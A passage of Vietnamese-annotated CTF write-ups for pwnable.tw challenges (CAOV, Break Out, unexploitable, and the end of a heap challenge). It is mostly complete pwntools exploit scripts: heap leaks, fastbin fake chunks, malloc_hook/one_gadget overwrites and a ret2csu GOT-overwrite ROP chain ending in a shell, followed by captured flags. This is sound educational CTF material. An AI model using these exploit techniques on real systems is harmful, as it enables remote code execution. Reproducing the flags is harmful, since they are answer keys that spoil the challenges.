p = remote('chall.pwnable.tw',10401)
else:
p = process(exe.path)
wolf = 1
devil = 2
zombie = 3
skull = 4
mummy = 5
dullahan = 6
vampire = 7
yuki = 8
kasa = 9
alan = 10
def add(name,age, msg, option):
sln(b'choice :', 1)
sla(b'Name : ', name)
sln(b'Age : ', age)
sla(b'Message : ', msg)
sln(b'ghost :', option)
def show(idx=None):
sln(b'choice :', 2)
if idx != None:
sln(b'party : ', idx)
def action():
sln(b'choice :', 3)
def delete(idx):
sln(b'choice :',4)
sln(b'party : ', idx)
GDB()
add(b'a',1,b'b',vampire)
sla(b'blood :', b'c'*0x60)
action()
show(0)
p.recvuntil(b'Blood : ')
heap = u64(p.recv(6) + b'\0\0') + 0x80
info("heap leak: " + hex(heap))
add(b'e',2,b'f',devil)
sla(b'power :', b'a')
action()
show(0)
p.recvuntil(b'Blood : ')
vtable_devil= u64(p.recv(6) + b'\0\0')
exe.address = vtable_devil - 0x210b60
info("vtable devil: " + hex(vtable_devil))
info("exe base: " + hex(exe.address))
delete(0)
payload = p64(vtable_devil) + p64(0) + p64(exe.got.__libc_start_main)
payload = payload.ljust(0x60,b'\0')
add(b'g',3,payload,mummy)
sla(b'bandage : ',b'leak')
action()
show()
p.recvuntil(b'0. : ')
libc_leak = u64(p.recv(6) + b'\0\0')
libc.address= libc_leak - 0x20740
info("libc leak: " + hex(libc_leak))
info("libc base: " + hex(libc.address))
sl(b'1')
delete(1)
one_gadget = libc.address + 0xef6c4
payload = p64(heap) + p64(0) + p64(one_gadget)
payload = payload.ljust(0x60,b'\0')
add(b'g',3,payload,mummy)
sla(b'bandage : ',b'leak')
action()
delete(1)
add(b'g',3,payload,mummy)
sla(b'bandage : ',b'leak')
action()
show(0)
p.interactive()
FLAG{D0n7_f0g07_7H3_c0pY_c0Ns7Ruc70R}
CAOV [350 pts]
What does "CAOV" stands for ?
nc chall.pwnable.tw 10306
caov
caov.cpp
libc.so

- check ida (có renamed lại)

main()
trước khi vào khai thác sẽ qua 1 hàm set_name() (sẽ show sau)
sau đó nhập vào key (kiểu char)
và value (kiểu int64)
rồi tạo struct Data

playground()

set_name()
max read 150 trên stack
sau đó cpy vào biến name

edit()
BUG nằm ở trong đây (sẽ phân tích sau)

set_old()
set NULL rồi gán thời gian lên
giống default destructor

change()
operator new cái mới
size từ struct, tạo vào &old
rồi return cái ©

delete()
sẽ free nếu key không NULL
là overridden destructor

edit_data()
nhập key với value mới nếu size < 1000
và malloc với size = key_len


info()
analyse
- đề có cung cấp source nhưng ta phải nhìn ida vì do binary và source có vài điểm khác nhau
nhìn source lòi con mắt cũng không thấy BUG đâu
nhưng ida thì có, do cơ chế compile của C++
- đầu tiên, khi chọn option2, sẽ qua set_name() rồi mới tới edit()
- nhìn lại edit(), cái © sẽ lấy từ stack và nếu key không NULL sẽ free khi qua delete()
- nhưng ta lại có thể setup fake_chunk để free (trên stack) từ set_name()
- ngoài ra ở hàm info(), sẽ có thể leak thoải mái, vì nó show là show ptr

- lưu ý: để xác định key, ta cần heap base vì mọi dữ liệu khi ta cin sẽ new operator trên heap
- túm lại đây là BUG reused stack (DEBUG kĩ sẽ thấy cách dữ liệu trên stack bị tác động ntn)
- khi DEBUG, thấy struct có size là 0x48 (dù ida nhìn chỉ có 3 thứ thay đổi là key, value với change_count) tức là có 0x30 đầu sẽ bị xử lí
- với cả phải coi asm mới thấy được lỗi của chtrinh khi xử lí struct (tổng tận 0x60)

ở set_old() xử lí &old từ 0x30 là key, 0x38 là value … nhưng return © ở 0x60
- Data là struct trên heap được setup từ đầu trong hàm main() nên ctrol payload từ đầu sẽ ảnh hưởng khi DEBUG
mấy cái &old và © là trên stack cũng theo struct nhưng không dính dáng tới Data
- và Data sẽ thay đổi khi vào hàm edit_data

- vì đây là libc 2.23 nên chỉ có fastbin và có hook
- TARGET: Hook Overwrite = One_gadget
leak heap
- đầu tiên khi vào hàm play_ground() ta sẽ setup struct Data có key là NULL
value không ảnh hưởng gì đến workflow
trong C++ sẽ tạo heap khi cin với input > 0x20
- sau đó chọn option2 sẽ đi qua lần lượt 2 hàm

- lúc này ta tận dụng BUG reused stack từ set_name() khi qua edit()
- miễn ta setup fake_chunk hoàn hảo sẽ dẫn đến free ptr tuỳ ý khi vào delete()
ở đây payload chứa ptr ở 0x60 (như đề cập ở trên ©) –-> fastbin
- khôn ngoan ở đây là ta có PIE tắt, biến name trên bss nên lấy nó luôn
fake chunk size 0x20

- rồi setup tiếp phần edit_data() sẽ thay đổi key
key_len cho 0x10 để malloc lại chunk 0x6032c0 (size 0x20), key ghi gì cũng được
- tiếp theo chọn tiếp option2, setup tiếp fake_chunk thứ 2
- lúc này ta thấy trong bin có chunk size 0x40, ta sẽ chain payload để khi free sẽ là
0x6032c0 -> 0x14d3c90
ở fake_chunk để 0 khi vào change() sẽ malloc(1) reused chunk rác 0x20 do delete(old) tạo ra ở payload đầu tiên

- nhưng lần này ở trong edit_data() sẽ KHÔNG thay đổi key
- lúc này khi info() ở after editing sẽ in ra heap


leak libc
- xong leak heap, bây giờ để leak libc, ta cần khả năng ghi đè key
- có heap base –-> xác định heap trỏ Data->key
bằng cách tạo tiếp fake_chunk, xác định key của chunk được malloc ra
- payload để chain cũng tương tự, nhưng ở phần edit_data() sẽ thay đổi key trỏ về got để leak libc

malloc hook
- để ow one_gadget vào hook, đầu tiên sẽ chain lại như ban đầu để setup
giữ nguyên key ở edit_data()
mỗi lần chain fake_chunk sẽ chọn fake_size khác cho dễ nhìn
nhưng ở malloc_hook phải chọn fake_size 0x71 vì ở malloc_hook - 0x23 có sẵn size 0x7f (từ libc)
nhưng lần này sẽ không thay đổi ở delete(copy)
để không chạm gì tới fastbin

0x7d7d26bc3aed
là malloc_hook - 0x23
- lúc này sẽ thay đổi edit_data(), key_len = 0x60 để malloc ra chunk size 0x70
- cuối cùng chỉ cần thêm 1 option2 rồi ở edit_data() cho key_len tiếp tục = 0x60 để edit key ở malloc_hook - 0x23
get flag

- script: (có khả năng fail, run vài lần là được)
from pwn import *
exe = ELF('./caov_patched', checksec=False)
libc = ELF('./libc_64.so.6', checksec=False)
context.binary = exe
def GDB():
if not args.REMOTE:
gdb.attach(p, gdbscript='''
b*0x401A99
#change strcpy
b*0x40198e
#set_old
b*0x4016C4
#call edit
b*0x401e8c
#delete
b*0x401824
#main cin_key
b*0x401557
#edit info after
c
''')
input()
info = lambda msg: log.info(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda data: p.send(data)
if args.REMOTE:
p = remote('chall.pwnable.tw',10306)
else:
p = process(exe.path)
def edit(name, size, data):
sla(b'choice: ', b'2')
sla(b'name: ', name)
sla(b'length: ', str(size))
if size <= 1000:
sla(b'Key: ', data)
sla(b'Value: ', str(0x1234))
def show():
sla(b'choice: ', b'1')
sla(b'name: ', b'hlaan')
sla(b'key: ', b'\0'*40)
sla(b'value: ', str(0x1234))
name_addr = 0x6032c0
payload = flat(
0, 0x21,
b'D'*8, b'E'*8,
0x20, 0x20,
b'A'*8, b'B'*8,
b'A'*8, b'B'*8,
b'A'*8, b'B'*8,
name_addr+0x10
)
edit(payload, 0x10, 'A'*8)
payload = flat(
0, 0x41,
0, b'F'*8,
b'A'*8, b'B'*8,
b'A'*8, b'B'*8,
b'A'*8, 0x20,
b'A'*8, b'B'*8,
name_addr+0x10
)
edit(payload, 1020, b'')
p.recvuntil(b'after')
p.recvuntil(b'Key: ')
heap_leak = u32(p.recv(4))
heap_base = heap_leak- 0x11c90
key_D_addr = heap_base + 0x11ce0
info("heap leak: " + hex(heap_leak))
info("heap base: " + hex(heap_base))
info('key Data addr : ' + hex(key_D_addr))
payload = flat(
0, 0x51,
0, 0,
0, 0,
0, 0,
0, 0,
0, 0x20,
key_D_addr,
)
key = p64(exe.got.strlen)
edit(payload, 0x30, key)
p.recvuntil(b'after')
p.recvuntil(b'Key: ')
libc_leak = u64(p.recv(6)+b'\0\0')
libc.address = libc_leak - libc.sym.strlen
info("libc leak: " + hex(libc_leak))
info("libc base: " + hex(libc.address))
malloc_hook = libc.symbols['__malloc_hook'] - 0x23
one_gadget = libc.address + 0xef6c4
payload = flat(
0, 0x71,
b'G'*8, b'H'*8,
b'A'*8, b'B'*8,
b'A'*8, b'B'*8,
b'A'*8, b'B'*8,
b'A'*8, b'B'*8,
name_addr+0x10, 0,
0, 0x20
)
edit(payload,1020,b'')
payload = flat(
0, 0x71,
malloc_hook, 0,
b'A'*8, b'B'*8,
b'A'*8, b'B'*8,
b'A'*8, b'B'*8,
b'A'*8, b'B'*8,
0, 0,
0, 0x20
)
edit(payload, 0x60, 'A'*0x10)
GDB()
key = b'\0'*19 + p64(one_gadget)
edit(b'a', 0x60, key)
p.interactive()
FLAG{CAOV_stands_f0r_C0py_Ass1gnment_Operat0r_Vuln3rabil1ty_r3memb3r_alway5_r3turn_r3ference_typ3}
Break Out [450 pts]


main()



init()
đọc file 'prisoner' rồi mỗi tù nhân tạo 1 cái heap, tạo struct nối nhau
tối đa 10 tù nhân với 10 cái cell (idx)

prisoner


interact()



note()
tạo heap với idx (0->9), nếu idx chưa tạo trước sẽ malloc, nếu đã tạo từ trước, so sánh size mới, new_size > old_size sẽ realloc


punish()
cấn cái hàm này chỉ được phép punish (free) 1 lần (biến occupied)

list()
show thông tin tù nhân
- và có vài hàm nhỏ lẻ khác sẽ k mention tới

analyse
- khi debug, mình thấy struct của nó như sau (sau khi init() prisoner)
mỗi block chunk có size 0x51 (do calloc() trong hàm init())
- tiếp theo nhắc lại cơ chế realloc(), khi request một new_size > old_size thì realloc() sẽ free chunk cũ có old_size và malloc() chunk mới có size là new_size
- kết hợp libc 2.23 tức ta sẽ có libc khi reused chunk
–-> leak libc
- ngoài ra hàm list() sẽ in ra *ptr nên ta chỉ cần ow 1 ptr nào đó thành ptr khác trỏ heap
–-> leak heap
- ptr duy nhất có thể nhập data là note –-> fake ptr_heap_note = hook rồi nhập data tiếp theo sẽ là *hook
leak libc
leak heap
fake chunk

target_chunk -> fake_chunk
key là age với cell của tù nhân
ow hook
- khúc này hơi lằn tà ngoằn xíu, ta không thể ow free_hook (vì cả chall chỉ được free() 1 lần) và nếu ow malloc_hook là system thì size cần là b'/bin/sh\0' nhưng có hàm strtoll chặn rồi
- chỉ còn cách ow malloc_hook là one_gadget
- nhưng xui là thử hết one_gadget vẫn k thoả mãn được
- vậy ta sẽ lách 1 xíu:
- malloc_hook = realloc
- realloc_hook = one_gadget
- chain như thế thì one_gadget sẽ thoả mãn điều kiện stack ở vị trí nhất định là NULL
tăng giảm ở realloc để pop
r14, r15, … tăng stack lên phù hợp
get flag

from pwn import *
exe = ELF('./breakout_patched', checksec=False)
libc = ELF('./libc_64.so.6', checksec=False)
context.binary = exe
info = lambda msg: log.info(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda data: p.send(data)
def GDB():
if not args.REMOTE:
gdb.attach(p, gdbscript='''
b*0x55555540193E
#note_realloc
b*0x55555540191a
#note_malloc
b*0x555555401a10
#punish_free
b*0x5555554018f7
#note_secure_read
c
''')
input()
if args.REMOTE:
p = remote('chall.pwnable.tw',10400)
else:
p = process(exe.path)
def add(cell, size, content):
sa(b"> ", b"note\n")
sa(b"Cell: ", str(cell))
sa(b"Size: ", str(size))
sa(b"Note: ", content)
def delete(cell):
sa(b"> ", b"punish\n")
sa(b"Cell: ", str(cell))
def show():
sa(b"> ", b"list\n")
add(6, 0x80, b"aaaa")
add(7, 0x20, b"hlan")
add(6, 0x90, b"bbb")
add(8, 0x80, b"a"*8)
show()
p.recvuntil(b"Life imprisonment, murder")
p.recvuntil(b"a"*8)
libc_leak = u64(p.recv(6).ljust(8, b"\x00"))
libc.address = libc_leak - 0x3c3b78
malloc_hook = libc.sym.__malloc_hook
fake_chunk = malloc_hook - 0x23
info("libc leak:" + hex(libc_leak))
info("libc base:" + hex(libc.address))
info("fake chunk:" + hex(fake_chunk))
delete(1)
ptr_heap = malloc_hook+0x68
add(9, 0x48, p64(ptr_heap)*2)
show()
p.recvuntil(b"multiple homicides")
p.recvuntil(b"Prisoner: ")
heap_leak = u64((p.recv(6))+b'\0\0')
info("heap leak:" + hex(heap_leak))
add(2, 0x68, b"aaaa")
add(3, 0x20, b"hlan")
add(2, 0x78, b"bbbb")
target_chunk = heap_leak
info("target chunk:" + hex(target_chunk))
payload = p64(heap_leak) + p64(heap_leak)
payload += p64(heap_leak) + p64(0x000000010000002d)
payload += p64(heap_leak) + p64(0x10)
payload += p64(target_chunk+0x10)
add(9, 0x48, payload)
add(1, 0x10, p64(fake_chunk))
og = [0x45216, 0x4526a, 0xef6c4, 0xf0567]
one_gadget = libc.address + og[3]
system = libc.sym.system
info("malloc_hook:" + hex(malloc_hook))
info("one_gadget:" + hex(one_gadget))
add(3, 0x68, b"cccc")
payload = b'a'*0xb + p64(one_gadget) + p64(libc.sym.realloc+11)
add(4, 0x30, payload)
add(5, 0x40, b"hlan")
add(4, 0x68, b"")
sa(b"> ", b"note\n")
sa(b"Cell: ", b"0")
sa(b"Size: ", str(0x80))
p.interactive()
FLAG{Br3ak_0ut_7He_Pr1s0N}
unexploitable [500 pts]
The original challenge is on pwnable.kr
and it is solvable.
This time we fix the vulnerability and now we promise that the service is unexploitable.
nc chall.pwnable.tw 10403
unexploitable
libc.so


main()
analyse
- BOF khá là rõ, nhưng với những dạng chall thế này thường là ROP
- có khá ít gadget nên sẽ đổi hướng qua ret2csu

hơi khác, thay vì pop
thì mov
trên stack
- hơi khoai vì k có hàm để in ra

- nhưng vì có thể call thoải mái read (nếu setup csu) nên target sẽ là thay đổi read@plt thành 1 cái khác
- nhưng đổi từ plt này sang plt khác là điều không thể –> modify least significant byte

byte '\x7e' là syscall
- vậy target là call read ghi 1 byte tại read@got
- từ đó setup syscall number ở $rax là có thể call mọi hàm (cụ thể để leak là write)
- leak xong call read tiếp thay đổi read@plt thành system
- setup "/bin/sh\0" rồi call read (system)
trigger read 1 more time
leak libc + get shell
- lưu ý, ta phải sleep 1 khoảng thời gian vì hong là tốc độ gửi tiếp payload tiếp theo quá nhanh –> recvuntil không kịp –> fail
tuỳ thuộc vào delay độ trễ của server nên tăng time lên nếu cần thiết
get flag

from pwn import *
exe = ELF('./unexploitable_patched', checksec=False)
libc = ELF('./libc_64.so.6', checksec=False)
context.binary = exe
info = lambda msg: log.info(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda data: p.send(data)
sln = lambda msg, num: sla(msg, str(num).encode())
sn = lambda msg, num: sa(msg, str(num).encode())
def GDB():
if not args.REMOTE:
gdb.attach(p, gdbscript='''
b*main+51
c
''')
input()
if args.REMOTE:
p = remote('chall.pwnable.tw',10403)
else:
p = process(exe.path)
'''
0x00000000004005d0 <+80>: mov rdx,r15
0x00000000004005d3 <+83>: mov rsi,r14
0x00000000004005d6 <+86>: mov edi,r13d
0x00000000004005d9 <+89>: call QWORD PTR [r12+rbx*8]
------------------------------------------------------------
0x00000000004005e6 <+102>: mov rbx,QWORD PTR [rsp+0x8]
0x00000000004005eb <+107>: mov rbp,QWORD PTR [rsp+0x10]
0x00000000004005f0 <+112>: mov r12,QWORD PTR [rsp+0x18]
0x00000000004005f5 <+117>: mov r13,QWORD PTR [rsp+0x20]
0x00000000004005fa <+122>: mov r14,QWORD PTR [rsp+0x28]
0x00000000004005ff <+127>: mov r15,QWORD PTR [rsp+0x30]
0x0000000000400604 <+132>: add rsp,0x38
0x0000000000400608 <+136>: ret
'''
rw_section = 0x601028 + (0x100-0x8)
csu_1 = 0x00000000004005e6
csu_2 = 0x00000000004005d0
pop_rbp = 0x0000000000400512
leave_ret = 0x0000000000400576
def csu_rop(rbx:int, rbp:int, r12:int, rdi:int, rsi:int, rdx:int):
rop = p64(csu_1)
rop += p64(0)
rop += p64(rbx)
rop += p64(rbp)
rop += p64(r12)
rop += p64(rdi)
rop += p64(rsi)
rop += p64(rdx)
rop += p64(csu_2)
rop += b"A"*0x38
return rop
payload = b"a"*0x10
payload += p64(0xdeadbeef)
payload += csu_rop(0,1,exe.got.read,0,rw_section,0x600)
payload += p64(pop_rbp)
payload += p64(rw_section+0x8)
payload += p64(leave_ret)
sl(payload)
sleep(3)
GDB()
payload = b"/bin/sh\0"
payload += p64(0xdeadbeef)
payload += csu_rop(0, 1, exe.got.read, 0, exe.got.read, 1)
for i in range(6):
payload += csu_rop(0, 1, exe.got.read, 1, exe.got.__libc_start_main+i, 1)
payload += csu_rop(0, 1, exe.got.read, 1, exe.got.__libc_start_main, 0)
payload += csu_rop(0, 1, exe.got.read, 0, exe.got.read, 0x8)
payload += csu_rop(0, 1, exe.got.read, rw_section, 0, 0)
payload += p64(exe.sym.main)
sl(payload)
sleep(1)
s(b'\x7e')
sleep(1)
libc_leak = u64(p.recv(6)+b'\0\0')
libc.address = libc_leak - libc.sym.__libc_start_main
system = libc.sym.system
print(f"[*] Libc leak: {hex(libc_leak)}")
print(f"[*] Libc base: {hex(libc.address)}")
sleep(1)
s(p64(system))
p.interactive()
FLAG{4_r34lLy_Un3Xpl01T48l3_S3Rv1C3_Sh0UlD_n0T_H4v3_SYsC4ll_1NS1D3}